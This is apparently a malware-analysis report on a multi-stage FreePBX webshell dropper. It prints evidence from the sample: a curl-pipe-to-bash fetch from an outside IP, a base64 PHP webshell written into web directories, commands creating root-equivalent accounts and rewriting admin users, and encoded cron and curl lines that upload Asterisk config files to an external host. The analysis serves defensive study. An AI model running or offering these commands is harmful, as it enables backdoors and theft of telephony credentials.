Hostile ^100% Download

triage/6559e5bbe140cacfb5e71d11d0357ce09a6c806f568ec50bae3c955f84ee86fd

Multi-stage FreePBX webshell dropper

Creates UID/GID-zero login accountCron installs encoded remote shell payload

SHA-2566559e5bbe140cacfb5e71d11d0357ce09a6c806f568ec50bae3c955f84ee86fd

URLhttps://tria.ge/api/v0/samples/260824-cryejscl4x/sample

MaleculeO₆(C₃P₂As₃ErDyLa)H₅(Cm₁₀Db₃F₁₁Os₅Po₄)MdTh

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfNjkzOWZmYTMwMzQ3NjdhNTQ4MmJmZjdmZmUwYWE3MTkgKi8gaWYoZmFsc2UpeyAkQm5hcENRSnZUdVpvID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICREZHpwWnVhc3duQmx1VXpsVSA9IGJhc2U2NF9kZWNvZGUoJ1puSm1ablppWVY5bVoyNWxaeWdwT3dwMmN5QW9kbVptY21jb0pGOUZVa1JJVWtaSFd5ZDZjVFVuWFNrZ0ppWWdlbkUxS0NSZlJWSkVTRkpHUjFzbmVuRTFKMTBwSUQwOUlDY3pPVFl3TnprMGJuRTFOell5TkRCd2NqSndOalV3TXpKdk1EQnpNRFp1T1NjcElIc0tJQ0FnSUNSZlJsSkdSbFpDUVZzbmVXSmllSFluWFNBOUlDZDVZblIwY25Fbk93cDlDblp6SUNnaGRtWm1jbWNvSkY5R1VrWkdWa0pCV3lkNVltSjRkaWRkS1NrZ2V3b2dJQ0FnY25CMVlpQW5QSE5pWlhvZ2JuQm5kbUpoUFNJaUlIcHlaM1ZpY1QwaVkySm1aeUkr …

FreePBX immutable webshell persistence lines 3–10

3:7878… aWM3Jyk7ICROaEVkS3ZOZm9pZkRBSUdhWUZ1ID0gc3RyX3JvdDEzKCREZHpwWnVhc3duQmx1VXpsVSk7IGV2YWwoJE5oRWRLdk5mb2lmREFJR2FZRnUpOyA/Pg==' | base64 -d > /var/www/html/admin/views/ajax.php
4cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
5echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
6echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash
7mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';"
8mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampusers SET username='freepbxusers', sections='*', password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9';"
9echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
10echo -n 'dXNlcmFkZCAtcyAvYmlu …

FreePBX module webshell spread lines 16–21

16:30… ajax.php /var/www/html/rest_phones/ajax.php
17cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
18cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
19cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
20cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
21cp /var/www/html/admin/views/a …

Asterisk HA trigger marker line 31

31:16380… x8IHRydWU7CmVjaG8gJ2EnID4gL3Vzci9sb2NhbC9hc3Rlcmlzay9oYV90cmlnZ2VyMiB8fCB0cnVlOwpjYXQgL2V0Yy9wYXNzd2QKbHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGw7Y3JvbnRhYiAtcjt7ZWNobyAiKi8zICogKiAqICogY2htb2QgK3ggL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGw7L3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGwiO30gfCBjcm9udGFiIC07JzsKZWNobyAnd2dldCBodHRwOi8vNDUuOTUuMTQ3LjE3OC9rLnBocCAtTyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZGV2bnVsbHM7Y3JvbnRhYiAtcjt7ZWNobyAiKi8zICogKiAqICogY2htb2QgK3ggL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGxzOy92YXIvbGliL2FzdGVyaXNrL2Jpbi9kZXZudWxscyI7fSB8IGNyb250YWIgLTsnOwplY2hvICJybSAtcmYgL3Zhci9z …

Encoded URL pinned to external IPv4 lines 32–33

32:17361… /test.sh; bash /var/spool/asterisk/tmp/test.sh; rm -rf /var/spool/asterisk/tmp/test.sh
33echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfcmVnaXN0cmF0aW9ucy5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9tYW5hZ2VyLmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLnRyYW5zcG9ydHMuY29uZiIgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwg …